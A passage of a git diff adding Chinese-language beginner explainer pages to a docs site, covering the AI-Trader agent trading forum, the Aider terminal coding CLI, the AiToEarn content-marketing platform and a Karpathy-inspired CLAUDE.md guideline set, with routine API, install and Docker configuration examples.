+AI-Trader 就是这样一个论坛，只不过：
+- 会员全是 AI Agent
+- 论坛网站是 https://ai4trade.ai
+- 会员注册方式极简单：把一段网址丢给 Agent，让它自己注册
+
+这和你平时用股票软件完全不同——你不需要自己下单，
+你的 AI Agent 自己去平台上注册、看信号、发信号、跟单交易。
+
+---
+
+## 二、核心概念
+
+### 2.1 什么是"Agent-Native"
+
+"Agent-Native"的意思是：整个平台从设计之初就是为 AI Agent 服务的，
+不是先有人的系统再"套一层"给 AI 用。
+
+类比：
+- 传统网站 = 给真人设计的，有 UI、有按钮、有登录表单
+- Agent-Native = 给 AI 设计的，只有 API，不需要网页界面
+
+所以你用 AI-Trader，不需要点击任何按钮，
+只需要让 Agent 调用 REST API 就行了。
+
+### 2.2 三种信号类型
+
+AI-Trader 有三种核心"帖子"类型：
+
+| 类型 | 作用 | 类比 |
+|------|------|------|
+| strategy | 发布分析策略，不做交易 | 写一篇"我看涨 BTC"的长文 |
+| realtime (operation) | 发布真实交易指令 | 发一条"我刚刚买了 0.1 BTC" |
+| discussion | 自由讨论区 | 发一条"大家怎么看现在市场？" |
+
+### 2.3 跟单机制（Copy Trading）
+
+这是 AI-Trader 最有意思的功能之一：
+你可以让 Agent 去"关注"其他表现好的 Agent，
+然后自动复制它们的交易操作。
+
+类比：就像基金里的"跟单"——你看到谁赚得多，就跟着他买。
+
+### 2.4 挑战赛机制
+
+AI-Trader 提供"比赛"功能：
+- 不同赛道：加密、美股、Polymarket
+- 个人赛和团队赛
+- 内置 10 万美元虚拟资金
+- 实时排行榜、收益排名、最大回撤记录
+
+这就像给所有 AI Agent 办一场"炒股大赛"。
+
+### 2.5 积分与奖励系统
+
+| 行为 | 奖励 |
+|------|------|
+| 发布任何类型的信号 | +10 积分 |
+| 有人采纳你的信号 | +1 积分/每个跟的人 |
+| 1 积分 = 1000 美元虚拟资金 | 可兑换 |
+
+---
+
+## 三、代码示例
+
+### 示例 1：注册你的第一个 AI Agent
+
+每个 Agent 都需要先注册，拿到一个"身份令牌"（token），
+之后的所有操作都要带上这个令牌。
+
+```python
+import requests
+
+# 注册一个 Agent
+response = requests.post(
+    "https://ai4trade.ai/api/claw/agents/selfRegister",
+    json={
+        "name": "MyTradingBot",
+        "email": "bot@example.com",
+        "password": "secure_password"
+    }
+)
+
+data = response.json()
+token = data["token"]  # 拿到令牌！后续所有请求都要带上它
+print(f"注册成功！Token: {token}")
+
+# 拿到 token 后，设置请求头
+headers = {"Authorization": f"Bearer {token}"}
+```
+
+输出类似：
+```json
+{
+  "success": true,
+  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
+  "agent_id": 123,
+  "name": "MyTradingBot"
+}
+```
+
+### 示例 2：发布交易信号 + 浏览信号列表
+
+注册完成后，Agent 可以发布自己的交易策略，
+也可以浏览其他 Agent 发布的信号。
+
+```python
+import requests
+
+headers = {"Authorization": f"Bearer {token}"}
+
+# --- 发布一条加密市场的交易信号 ---
+publish_resp = requests.post(
+    "https://ai4trade.ai/api/signals/realtime",
+    headers=headers,
+    json={
+        "market": "crypto",          # 加密市场
+        "action": "buy",             # 买入
+        "symbol": "BTC",             # BTC
+        "price": 65000,              # 价格
+        "quantity": 0.01,            # 数量
+        "content": "突破入场",         # 备注
+        "executed_at": "2026-06-13T12:00:00"
+    }
+)
+print("信号已发布:", publish_resp.json())
+
+# --- 浏览最新的信号列表 ---
+feed_resp = requests.get(
+    "https://ai4trade.ai/api/signals/feed?limit=10&sort=new",
+    headers=headers
+)
+signals = feed_resp.json()
+for s in signals.get("signals", []):
+    print(f"[{s['agent_name']}] {s['symbol']} {s['side']} @ {s['entry_price']}")
+```
+
+### 示例 3：完整流程 —— 注册、发策略、关注高手
+
+```python
+import requests
+
+BASE = "https://ai4trade.ai/api"
+
+# 1. 注册
+reg = requests.post(f"{BASE}/claw/agents/selfRegister", json={
+    "name": "StudentBot",
+    "email": "student@example.com",
+    "password": "password123"
+})
+token = reg.json()["token"]
+headers = {"Authorization": f"Bearer {token}"}
+
+# 2. 发布一条策略分析
+requests.post(f"{BASE}/signals/strategy", headers=headers, json={
+    "market": "us-stock",
+    "title": "NVDA 突破分析",
+    "content": "NVDA 在关键支撑位获得支撑，技术面看涨...",
+    "symbols": ["NVDA"],
+    "tags": ["AI芯片", "突破"]
+})
+
+# 3. 关注一个信号提供者（跟单）
+requests.post(
+    f"{BASE}/signals/follow",
+    headers=headers,
+    json={"leader_id": 10}
+)
+
+# 4. 查看自己的持仓
+positions = requests.get(f"{BASE}/positions", headers=headers).json()
+print("我的持仓:", positions)
+```
+
+---
+
+## 四、系统架构一览
+
+```
+AI-Trader
+├── skills/              # Agent 技能文件（给 AI 看的操作手册）
+├── docs/api/            # OpenAPI 接口文档
+└── service/
+    ├── server/          # FastAPI 后端
+    └── frontend/        # React 前端（Dashboard）
+```
+
+关键点：
+- 后端用 FastAPI（Python 框架），性能好、自带接口文档
+- 前端用 React，提供可视化的 Dashboard
+- 数据库支持 PostgreSQL（生产）和 SQLite（开发）
+- 所有"技能"定义在 markdown 文件中，Agent 直接读取即可
+
+---
+
+## 五、与"普通量化系统"的区别
+
+| 维度 | 普通量化系统 | AI-Trader |
+|------|-------------|-----------|
+| 使用者 | 程序员写策略 | AI Agent 自主决策 |
+| 信号来源 | 自己写的技术指标 | 社区 Agent 集体智慧 |
+| 执行方式 | 自动下单到券商 | 模拟盘 + 实盘同步 |
+| 协作方式 | 单打独斗 | Agent 间可以讨论、跟单 |
+| 学习曲线 | 需要编程 | 只要让 Agent 读 SKILL.md |
+
+用一句话总结：普通量化系统是"你指挥 AI"，
+AI-Trader 是"AI 和 AI 一起交易"。
+
+---
+
+## 六、几个有意思的设计细节
+
+1. **Heartbeat 机制**：Agent 需要定期调用心跳接口，
+   接收其他人的回复、关注通知、任务分配。
+   有点像微信的"拉取新消息"。
+
+2. **双重价格获取**：美股优先用 Alpha Vantage API 获取实时价格，
+   如果拿不到就自动 fallback 到 yfinance。
+
+3. **Polymarket 集成**：支持在 Polymarket（预测市场）上交易，
+   Agent 可以直接调用 Polymarket 公开 API 发现市场机会。
+
+4. **团队挑战赛**：除了个人赛，还支持团队模式，
+   多个 Agent 组队，有投票审批机制，
+   模拟真实交易室的协作流程。
+
+---
+
+## 七、总结与思考
+
+AI-Trader 的核心创新不在于"量化交易"本身，
+而在于"让 AI Agent 自己成为交易市场的参与者"。
+
+它回答了一个问题：如果所有交易员都是 AI，
+它们之间该如何交流、协作、竞争？
+
+对零基础的我们的启示：
+- 不需要会写复杂的量化策略也能参与
+- 关键是理解"信号 → 跟单 → 反馈"这个闭环
+- Agent-Native 的思路可以复制到很多其他领域
+
+---
+
+> 本文基于 https://github.com/HKUDS/AI-Trader 和 https://ai4trade.ai 整理。
+> 所有代码示例仅供学习参考，不构成任何投资建议。
diff --git a/src/content/docs/projects/aider.md b/src/content/docs/projects/aider.md
new file mode 100644
index 000000000..73cbbf36f
--- /dev/null
+++ b/src/content/docs/projects/aider.md
@@ -0,0 +1,267 @@
+---
+title: Aider — 终端 AI 结对编程 CLI
+来源: https://github.com/Aider-AI/aider
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：坐在你旁边的「会改代码的搭档」
+
+想象你在写一份重要文档，旁边坐着一位资深同事。你指着屏幕说：「帮我把第三章改成表格形式，顺便检查一下引用格式。」同事不会替你重写整本书——他**只动你点名的章节**，改完还会在版本历史里留一条清晰的 commit，方便你 `git diff` 或一键撤销。
+
+**Aider 就是终端里的这位搭档。** 你在项目目录里启动它，用自然语言描述需求；它连接 Claude、GPT、DeepSeek 等 LLM，**直接编辑本地 Git 仓库里的文件**，并自动提交变更。没有 IDE 插件、没有浏览器标签页——只有 shell、代码和对话。官方 slogan 是 *AI pair programming in your terminal*；GitHub 仓库 [Aider-AI/aider](https://github.com/Aider-AI/aider) 是 Python 实现的开源项目（PyPI 包名 `aider-chat`），在终端工作流、Git 原生集成和「只改该改的文件」这几件事上做得非常专注。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：AI 聊天和实际改代码之间隔着复制粘贴
+
+网页版 ChatGPT 能给出建议，但你要自己打开编辑器、找文件、粘贴 diff、跑测试。Aider 把「对话 → 编辑 → 提交」收成一条链路：模型输出的是对你仓库里**真实路径**的修改，终端里就能看到 unified diff，确认后写入磁盘。
+
+### 痛点 2：大仓库里 LLM 容易「迷路」
+
+把整个 monorepo 塞进 context 既贵又乱。Aider 会构建 **Repo Map（仓库地图）**——用 tree-sitter 解析代码结构，把类、函数、文件关系压缩成摘要，让模型在大型项目里也能定位该改哪里。你只需用 `/add` 明确「允许编辑的文件」，相关上下文会自动从地图里拉进来。
+
+### 痛点 3：AI 改坏了不好回滚
+
+Aider **默认每次成功编辑后自动 `git commit`**，并生成描述性提交信息。不满意就用 `/undo` 撤销上一次 aider 提交，或用熟悉的 Git 工具审查历史。这和「AI 直接覆盖文件、没有版本线」的工具形成鲜明对比。
+
+### 痛点 4：只想问问题，不想动代码
+
+不是每次对话都要改文件。Aider 提供 **chat mode**：`/ask` 只读问答、`/code` 进入编辑模式、`/architect` 用「架构师 + 编辑者」双模型分工。同一 session 里可以切换模型（`/model`）和模式，而不必重启进程。
+
+---
+
+## 核心概念拆解
+
+### 1. Chat Session 与「加入聊天的文件」
+
+启动时可以带文件参数：`aider src/auth.py tests/test_auth.py`。这些文件进入 **chat session**，模型可见全文并有权编辑。原则：**只 add 需要改的文件**——加太多会浪费 token、增加混淆。未 add 的文件仍可通过 Repo Map 提供结构信息。
+
+### 2. Repo Map
+
+启动时终端会显示类似 `Repo-map: using 1024 tokens` 的提示。地图是 Aider 对全仓库的压缩索引，帮助模型理解「`UserService` 在哪个文件」「谁调用了这个函数」。可用 `/map` 查看、`/map-refresh` 强制刷新。
+
+### 3. Main Model 与 Weak Model
+
+Aider 可同时配置**主模型**（负责复杂编辑）和**弱模型**（处理简单任务如 commit message、部分辅助推理），在成本与质量之间折中。命令行 `--model` 指定主模型，`/weak-model` 在会话中切换弱模型。
+
+### 4. Edit Format（编辑格式）
+
+不同 LLM 对「如何表达补丁」能力不同。Aider 支持多种 **edit format**（如 diff、whole file、architect 模式下的分工格式），可通过 `--edit-format` 或 `.aider.conf.yml` 配置，影响准确率和 token 消耗。
+
+### 5. 自动 Git 集成
+
+在 Git 仓库内运行时，Aider 会检测 `.git`，在每次应用 AI 编辑后 commit。可用 `--no-auto-commits` 关闭，或用 `/commit` 手动提交你在 chat 外做的改动。`/diff` 查看自上次消息以来的变更。
+
+### 6. 斜杠命令（Slash Commands）
+
+会话内以 `/` 开头的指令控制行为，例如 `/add`、`/drop`、`/lint`、`/test`、`/run`、`/web`（抓取网页转 markdown 进上下文）、`/voice`（语音输入）。完整列表见 [官方命令文档](https://aider.chat/docs/usage/commands.html)。
+
+### 7. 配置文件 `.aider.conf.yml`
+
+Aider 按顺序查找：Git 根目录 → 当前工作目录 → `~/.aider.conf.yml`。可固定默认模型、是否 auto-lint、test 命令、edit format 等，避免每次敲一长串 flags。
+
+### 8. Architect 模式
+
+`/architect` 启用**双模型工作流**：一个模型像架构师一样规划改动，另一个模型像编辑者一样落地到文件。适合跨多文件、需要先设计再实现的重构，比单模型直接改更稳。
+
+### 9. Watch Files 与 AI 注释
+
+`aider --watch-files` 会监视源文件；以 `# ...` 或 `// ...` 开头/结尾且含 **AI** 字样的行会被当作给 Aider 的指令（`AI!` 会触发读取文件中所有 AI 注释）。适合在 IDE 里写注释、在终端让 Aider 执行。
+
+### 10. 与 IDE 的关系
+
+Aider **不绑定编辑器**：[[vscode]]、Neovim、JetBrains 随便用。常见用法是开两个窗格——一边编辑器，一边 `aider` 终端。也有 `--browser` 实验性 Web UI，但核心体验仍是 CLI。
+
+---
+
+## 安装与首次运行
+
+官方推荐 Python 3.9–3.12 与 Git。安装方式（任选其一）：
+
+```bash
+# 方式 A：官方安装脚本（会处理依赖）
+python -m pip install aider-install
+aider-install
+
+# 方式 B：pipx 隔离安装（Linux/macOS 常用）
+pipx install aider-chat
+
+# 方式 C：Homebrew（macOS）
+brew install aider
+```
+
+进入**已是 Git 仓库**的项目目录，设置 API Key 并启动（Key 也可写在环境变量或 `.aider.conf.yml` 中）：
+
+```bash
+cd ~/projects/my-app
+
+# Claude Sonnet 示例
+export ANTHROPIC_API_KEY=sk-ant-...
+aider --model sonnet
+
+# 或 OpenAI
+export OPENAI_API_KEY=sk-...
+aider --model gpt-4o
+
+# 启动时就把待编辑文件加入 session
+aider --model sonnet src/api/routes.py tests/test_routes.py
+```
+
+首次运行会提示安装可选 extras（help、browser、playwright 等），按需选择即可。
+
+---
+
+## 代码示例 1：从零让 Aider 写一个 Python 脚本
+
+下面是一次完整交互的简化再现。在空仓库或练习目录中：
+
+```bash
+git init factorial-demo && cd factorial-demo
+aider --model sonnet factorial.py
+```
+
+在 `>` 提示符下输入：
+
+```text
+> 写一个 Python 程序：询问用户输入一个非负整数 n，计算 n! 并打印。
+> 如果输入非法（负数或非整数）要友好提示。顺便加一个 if __name__ == "__main__" 入口。
+```
+
+Aider 会展示对 `factorial.py` 的 diff，确认后写入并 **auto-commit**。终端输出类似：
+
+```text
+Commit 3a1f2b8 feat: Add factorial CLI with input validation
+Added factorial.py to the chat.
+```
+
+本地验证：
+
+```bash
+python factorial.py
+# 输入 5 → 120
+
+git log --oneline -1   # 看到 aider 的提交
+aider> /undo           # 若不满意，在 aider 里撤销该 commit
+```
+
+这个例子体现 Aider 的基本循环：**自然语言需求 → diff 预览 → 写盘 → git commit**。
+
+---
+
+## 代码示例 2：在现有项目中加功能并跑测试
+
+假设已有 Flask 项目，需要给 `/health` 增加 JSON 字段。只把相关文件加入 chat：
+
+```bash
+cd ~/projects/my-api
+aider app/routes.py tests/test_health.py
+```
+
+```text
+> /ask 先看一下：现在 /health 返回什么结构？别改文件。
+# 模型只读分析…
+
+> /code 给 /health 响应加上 "version": "1.2.0" 和 ISO8601 的 "timestamp"。
+> 同步更新 tests/test_health.py 里的断言。
+
+> /test pytest tests/test_health.py -q
+# 若测试失败，Aider 会把 stderr 放进上下文并尝试修复
+
+> /lint
+# 对 chat 中的文件跑 linter 并自动修
+```
+
+若测试命令常要用，可写入 `~/.aider.conf.yml`：
+
+```yaml
+# ~/.aider.conf.yml 片段
+model: sonnet
+auto-test: true
+test-cmd: pytest -q
+auto-lint: true
+lint-cmd: ruff check --fix
+```
+
+这样每次 AI 改完代码后会**自动跑测试和 lint**，失败则进入修复循环——类似「搭档改完代码顺手帮你跑一遍 CI」。
+
+---
+
+## 常用斜杠命令速查
+
+| 命令 | 作用 |
+|------|------|
+| `/add <file>` | 把文件加入可编辑 session |
+| `/drop <file>` | 移出 session，节省 token |
+| `/ask` | 只问不改 |
+| `/code` | 请求改代码 |
+| `/architect` | 双模型规划+编辑 |
+| `/model <name>` | 切换主模型 |
+| `/tokens` | 查看当前 context 用量 |
+| `/undo` | 撤销上一次 aider 的 git commit |
+| `/diff` | 查看变更 diff |
+| `/run <cmd>` | 执行 shell，输出可选入 chat |
+| `/web <url>` | 抓取网页作参考 |
+| `/save <file>` | 导出可重建 session 的命令列表 |
+| `/load <file>` | 批量执行 slash 命令 |
+
+---
+
+## 与其他工具怎么选
+
+| 维度 | Aider | IDE 内置 AI（Copilot 等） | Cursor / Windsurf |
+|------|-------|---------------------------|-------------------|
+| 运行位置 | 终端 CLI | 编辑器内 | 独立 IDE |
+| Git 集成 | 自动 commit，/undo | 视产品而定 | 内置 VCS |
+| 仓库规模 | Repo Map 压缩全库 | 通常当前文件/打开文件 | 全库索引 |
+| 适合谁 | 终端党、脚本化、多编辑器 | 日常补全 | AI-first 开发 |
+
+Aider **不提供**行内 ghost text 补全；它的强项是**多文件编辑、Git 可追溯、可脚本化**（如 `aider --message "fix bug #42" --exit` 非交互跑一轮）。若你主要生活在 shell、tmux 或远程 SSH 环境，Aider 往往比「再开一个重型 IDE」更轻。
+
+---
+
+## 成本、隐私与本地模型
+
+- **云模型**：按 token 计费；简单任务可 `/model` 切到更便宜的模型，复杂重构再用 Sonnet/GPT-4o。Anthropic 用户可开 `--cache-prompts` 降低重复 context 成本。
+- **本地模型**：Aider 支持 Ollama、LM Studio 等 OpenAI 兼容端点，适合不能把代码送出内网的场景：
+
+```bash
+aider --model ollama_chat/qwen2.5-coder:7b \
+  --openai-api-base http://127.0.0.1:11434/v1 \
+  --openai-api-key dummy
+```
+
+- **隐私**：代码会发往你所选 LLM 提供商；敏感项目用本地模型或自建 API，并阅读各厂商数据政策。
+
+---
+
+## 实践建议（零基础上手）
+
+1. **一定要在 Git 仓库里用**——否则失去 auto-commit / undo 这条安全网；新项目先 `git init`。
+2. **少 add、精 add**——只加待改文件；让 Repo Map 承担「了解其余代码」的工作。
+3. **小步提交**——一次对话一个清晰目标，便于 `/undo` 和 code review。
+4. **配置写进 `.aider.conf.yml`**——模型、lint、test 命令固定下来，团队可共享模板。
+5. **善用 `/ask` 再 `/code`**——先只读搞清结构，再动手改，减少误改。
+6. **大重构用 `/architect`**——规划与执行分离，降低「一次 diff 改崩全文件」的风险。
+7. **结合 CI 习惯**——设置 `auto-test` / `auto-lint`，让 AI 编辑和工程质量门禁绑在一起。
+
+---
+
+## 进一步阅读
+
+- 官网与文档：[aider.chat](https://aider.chat/)
+- GitHub：[Aider-AI/aider](https://github.com/Aider-AI/aider)
+- 安装详解：[Installation](https://aider.chat/docs/install.html)
+- 用法指南：[Usage](https://aider.chat/docs/usage.html)
+- 配置选项：[Options reference](https://aider.chat/docs/config/options.html)
+- LLM 连接：[Connecting to LLMs](https://aider.chat/docs/llms.html)
+
+---
+
+## 小结
+
+Aider 把「AI 结对编程」收敛成一件终端里就能完成的事：**你说话，它改 Git 跟踪的文件，并留下可审查的 commit 历史。** 核心抓手是 Chat Session 中的文件列表、Repo Map 的全局视野，以及 slash 命令对模式/模型/测试/lint 的精细控制。对于习惯命令行、重视版本可追溯、希望在任意编辑器旁边挂一个 AI 搭档的开发者，Aider 是值得从零掌握的基础工具之一。
diff --git a/src/content/docs/projects/airflow.md b/src/content/docs/projects/airflow.md
index 9d49cb916..41a038ed9 100644
--- a/src/content/docs/projects/airflow.md
+++ b/src/content/docs/projects/airflow.md
@@ -2,8 +2,8 @@
 title: Apache Airflow — 用 Python 代码画工作流图，让调度器替你按图施工
 来源: Apache Airflow Documentation, https://airflow.apache.org/docs/
 日期: 2026-05-31
-子分类: 数据科学与 AI
-分类: 机器学习
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/aitoearn.md b/src/content/docs/projects/aitoearn.md
new file mode 100644
index 000000000..e44aab3cf
--- /dev/null
+++ b/src/content/docs/projects/aitoearn.md
@@ -0,0 +1,189 @@
+---
+title: AiToEarn — 让 AI 帮你写内容、发平台、赚佣金
+来源: https://github.com/yikart/AiToEarn
+日期: 2026-06-13
+分类: 其他
+子分类: 工程文化
+provenance: pipeline-v3
+---
+
+## 一句话概括
+
+AiToEarn 是一个开源平台，用 AI 智能体帮你写内容、发到十几个社交平台、互动运营，最后把内容变成收入。
+
+## 日常类比：AI 就是你的全能小编
+
+想象你开了一家小店，想在网上打广告。传统做法是：自己想文案、拍照片、发抖音、回评论、算收入——每个环节都要亲力亲为。
+
+AiToEarn 做的事情，就是雇了一个"全能小编"：
+
+- 你告诉小编"帮我推广一款咖啡机"
+- 小编自动写文案、配图、生成视频
+- 自动发到抖音、小红书、TikTok、YouTube 等平台
+- 自动回复评论区的问题
+- 最后按效果收钱（有人买了就分佣金）
+
+一个人，就是一支队伍。所以它的口号叫 **"OPC（一人公司）的 AI 内容营销智能体"**。
+
+## 四个核心 Agent
+
+AiToEarn 围绕内容变现的完整链路，提供了四种能力，简称 **Monetize · Publish · Engage · Create**。
+
+### 1. Monetize（变现）—— 赚钱
+
+这是最核心的目标。创作者在平台上完成商家发布的推广任务，有三种结算方式：
+
+- **CPS**（Cost Per Sale）：有人通过你的内容下单，你拿提成
+- **CPE**（Cost Per Engagement）：点赞评论越多，赚得越多
+- **CPM**（Cost Per Mille）：按播放量结算，一万次播放一份钱
+
+### 2. Publish（发布）—— 一键分发
+
+一个按钮，把内容同时发到 14 个平台：抖音、快手、B站、小红书、视频号、TikTok、YouTube、Facebook、Instagram、Threads、X、Pinterest、LinkedIn……还支持日历排期，提前安排好每天发什么。
+
+### 3. Engage（互动）—— 自动运营
+
+通过浏览器插件，自动做三件事：
+
+- 自动点赞、收藏、关注
+- 用 AI 智能回复每一条评论
+- 识别"求链接""怎么买"这类高转化信号，第一时间回应
+
+### 4. Create（创作）—— AI 生产内容
+
+你只需用自然语言描述需求，AI 自动完成：
+
+- 视频：调用 Grok、Veo、Seedance 等模型生成视频，自动翻译、剪辑
+- 图文：调用 Nano Banana 等图片模型生成配图
+- 批量：同时生成几十条内容，适合矩阵账号运营
+
+## 技术栈速览
+
+| 层级 | 技术 |
+|------|------|
+| 前端 | Next.js（Web 端）+ Electron（桌面客户端） |
+| 后端 | NestJS（monorepo，用 Nx 管理） |
+| 数据库 | MongoDB（副本集） |
+| 缓存 | Redis |
+| 对象存储 | RustFS |
+| 通信协议 | MCP（Model Context Protocol）+ SSE |
+| 部署 | Docker Compose 一键启动 |
+| 运行时 | Node.js 20.18.x，包管理器 pnpm |
+
+## 怎么用？五种方式
+
+### 方式一：直接用网页（最简单）
+
+打开 [aitoearn.cn](https://aitoearn.cn/)（国内）或 [aitoearn.ai](https://aitoearn.ai/)（国际），注册就能用。不需要装任何东西。
+
+### 方式二：在 Claude / Cursor 里用（MCP 协议）
+
+这是 AiToEarn 最有意思的地方——它支持 MCP 协议，意味着任何支持 MCP 的 AI 助手都能直接调用它的能力。
+
+配置 Claude Desktop，只需要在配置文件里加几行：
+
+```json
+{
+  "mcpServers": {
+    "aitoearn": {
+      "type": "http",
+      "url": "https://aitoearn.ai/api/unified/mcp",
+      "headers": {
+        "x-api-key": "你的API-Key"
+      }
+    }
+  }
+}
+```
+
+配置好后，你就可以在 Claude 对话框里说"帮我写一条小红书的推广文案"，Claude 就会通过 MCP 协议调用 AiToEarn 的能力来完成任务。
+
+### 方式三：Docker 私有部署
+
+适合想自己控制的团队：
+
+```bash
+git clone https://github.com/yikart/AiToEarn.git
+cd AiToEarn
+docker compose up -d
+```
+
+然后打开 http://localhost:8080 就能用了。
+
+## 关键概念：什么是 MCP 协议？
+
+MCP（Model Context Protocol）是 Anthropic 提出的一种标准协议，让 AI 大模型能像"装插件"一样连接外部工具。
+
+类比：你的大脑是 AI 模型，MCP 就像 USB 接口。AiToEarn 做了一个"USB 设备"插上去，AI 就能直接帮你在社交平台上发内容、赚钱了。
+
+这就是为什么 AiToEarn 能在 Claude、Cursor、OpenClaw 等各种工具里通用——它们都支持同一个"USB 标准"。
+
+## 代码示例
+
+### 示例一：Docker 一键部署
+
+这是最快速的本地体验方式。`docker-compose.yml` 定义了整个系统的容器编排：
+
+```yaml
+services:
+  mongodb:
+    image: mongo:latest
+    container_name: aitoearn-mongodb
+    restart: unless-stopped
+    environment:
+      MONGO_INITDB_ROOT_USERNAME: admin
+      MONGO_INITDB_ROOT_PASSWORD: password
+    ports:
+      - "27017:27017"
+
+  redis:
+    image: redis:latest
+    container_name: aitoearn-redis
+    restart: unless-stopped
+    command: redis-server --requirepass password
+    ports:
+      - "6379:6379"
+```
+
+这里启动了 MongoDB 和 Redis 两个基础服务。MongoDB 存用户和内容数据，Redis 做缓存加速。`docker compose up -d` 会把所有服务一次性拉起。
+
+### 示例二：在源码中配置后端服务
+
+如果你想深入看代码，后端用的是 NestJS 框架（一个 Node.js 的企业级框架），采用 monorepo 结构：
+
+```bash
+# 进入后端目录
+cd project/aitoearn-backend
+
+# 安装依赖
+pnpm install
+
+# 复制配置文件
+cp apps/aitoearn-server/config/config.js apps/aitoearn-server/config/local.config.js
+
+# 启动服务端（开发模式）
+pnpm nx serve aitoearn-server
+```
+
+NestJS 的核心思想是用"模块"组织代码。比如发布功能会拆成 ChannelModule、ContentModule、TaskModule 等，每个模块负责一件事，通过依赖注入组合在一起。
+
+## 值得注意的设计亮点
+
+1. **MCP 优先**：不是做一个封闭产品，而是通过标准协议让全世界 AI 工具都能调用它的能力
+2. **Relay 机制**：发布内容需要登录各社交平台，OAuth 授权需要开发者凭据。Relay 让你直接借用官方凭据，省去了在各平台注册开发者账号的麻烦
+3. **全链路闭环**：从创作→发布→互动→变现，四个 Agent 覆盖了内容创作者的每一步
+4. **多环境适配**：国内版（aitoearn.cn）和国际版（aitoearn.ai）两套入口，API Key 互不通用
+
+## 下一步可以做什么
+
+- 去 [aitoearn.ai](https://aitoearn.ai/) 注册一个账号，体验一下 AI 帮你写文案的感觉
+- 试着在 Claude 里配置 MCP，看看 AI 助手怎么帮你发内容
+- 如果感兴趣，用 Docker 在本地跑一份，看看源码结构
+- 关注它的 GitHub 仓库，这个项目迭代非常快（从 2025 年 2 月到现在已经到 2.4 版本了）
+
+## 参考链接
+
+- GitHub: https://github.com/yikart/AiToEarn
+- 官网: https://aitoearn.ai / https://aitoearn.cn
+- Docker 部署指南: DOCKER_DEPLOYMENT_CN.md
+- 贡献指南: CONTRIBUTING.md
diff --git a/src/content/docs/projects/andrej-karpathy-skills.md b/src/content/docs/projects/andrej-karpathy-skills.md
new file mode 100644
index 000000000..414978822
--- /dev/null
+++ b/src/content/docs/projects/andrej-karpathy-skills.md
@@ -0,0 +1,229 @@
+---
+title: Karpathy 启发的 Claude Code 行为调优指南
+来源: https://github.com/multica-ai/andrej-karpathy-skills
+日期: 2026-06-13
+分类: CLI
+子分类: 开发者工具
+provenance: pipeline-v3
+---
+
+# Karpathy 启发的 Claude Code 行为调优指南
+
+## 一、这个项目是什么
+
+Karpathy 启发的 Claude Code 行为调优指南（Karpathy-Inspired Claude Code Guidelines），是一个开源项目，目标很直接：**用一行 `CLAUDE.md` 文件，改善 Claude Code 写代码时的行为**。
+
+项目由 Multica 团队维护，灵感来自 Andrej Karpathy 在 X 上的一条推文——他观察到 LLM 在编程时有几个反复出现的问题。这个项目就是把这些问题总结出来，变成四条可执行的规则，放进项目的 `CLAUDE.md` 文件里，让 Claude Code 每次工作前都读到这些规则。
+
+简单说：**它不是一个新的工具，而是一份写给 AI 的"行为守则"**。
+
+## 二、背景：LLM 写代码的四个常见毛病
+
+Karpathy 的推文指出了 LLM 写代码时最常见的四个问题：
+
+1. **替你做错误假设** — 模型会默默选一个解释，然后不问你直接开干，结果方向错了
+2. **过度复杂化** — 明明 100 行能搞定，非要写成 1000 行，堆砌不必要的抽象
+3. **乱碰不该碰的代码** — 改一个地方，顺手把相邻的注释、格式、甚至无关代码都改了
+4. **不会管理自己的困惑** — 不明白的时候不问你，而是硬着头皮猜
+
+打个日常类比：想象你在厨房教一个很热心但经验不足的帮手做饭。你让他"做个简单的炒蛋"，他可能：
+- 自作主张加了五种你没要的调料（过度复杂）
+- 把你案板上切好的肉也重新切了一遍（乱碰不该碰的）
+- 以为你要的是煎蛋而不是炒蛋，直接按煎蛋的做法来了（错误假设）
+- 其实不知道盐放多少，但不问你，凭感觉放了半罐（不管理困惑）
+
+这个项目要做的，就是给这个帮手一份"厨房守则"，告诉他每次动手前先想清楚。
+
+## 三、四个核心原则
+
+项目提炼出四条原则，每一条都针对上面的一个毛病。
+
+### 原则一：编码前思考（Think Before Coding）
+
+**核心：不要假设，不要隐藏困惑，把权衡摆到台面上。**
+
+动手写代码之前，先做这几件事：
+- 明确列出你的假设。如果有不确定的地方，直接问，别猜
+- 如果一个问题有多种理解方式，把它们都列出来，让提问者选
+- 如果你觉得有更简单的做法，说出来
+- 如果你困惑了，停下来，说出哪里不清楚，然后问
+
+这条原则的本质是：**把"默默犯错"变成"先确认再做"**。
+
+### 原则二：简洁优先（Simplicity First）
+
+**核心：用最少的代码解决问题，不做任何推测性的扩展。**
+
+具体做法：
+- 不要添加需求里没有的功能
+- 不要为一次性使用的代码创建抽象层
+- 不要添加没人要求的"灵活性"或"可配置性"
+- 不要为不可能发生的场景写错误处理
+- 如果 200 行能写成 50 行，重写它
+
+自我检验的标准很简单：**如果一个资深工程师看了觉得"这太复杂了"，那就简化。**
+
+### 原则三：精准修改（Surgical Changes）
+
+**核心：只碰必须碰的，只清理自己制造的混乱。**
+
+编辑已有代码时：
+- 不要顺手"改进"相邻的代码、注释或格式
+- 不要重构没坏的东西
+- 沿用现有风格，即使你不喜欢那种写法
+- 如果发现无关的死代码，提一句就好，不要删
+
+如果你的改动导致某些导入或变量变得没用，删掉它们——但只删你自己造成的，不要动别人留下的。
+
+**检验标准：每一行被修改的代码，都应该能追溯到用户的原始请求。**
+
+### 原则四：目标驱动执行（Goal-Driven Execution）
+
+**核心：定义成功标准，循环验证直到达成。**
+
+这是最有意思的一条。它的核心洞察来自 Karpathy 的另一句话：
+
+> "LLM 非常擅长循环执行直到达成特定目标。不要告诉它该做什么，给它成功标准，然后看着它完成。"
+
+意思是：与其说"去做 X"，不如说"做到 Y 就算完成"。
+
+对比两种说法：
+
+| 指令式（弱） | 目标式（强） |
+|---|---|
+| "添加输入验证" | "为无效输入写测试，然后让它们通过" |
+| "修复这个 bug" | "写一个能重现这个 bug 的测试，然后让它通过" |
+| "重构 X 模块" | "确保重构前后测试都能通过" |
+
+对于多步骤任务，用一个简短的计划格式：
+
+```
+1. [步骤描述] → 验证: [检查方法]
+2. [步骤描述] → 验证: [检查方法]
+3. [步骤描述] → 验证: [检查方法]
+```
+
+成功的标准越清晰，AI 就越能独立工作，不需要你每一步都盯着。
+
+## 四、代码示例
+
+### 示例一：一个"好"的 CLAUDE.md 文件
+
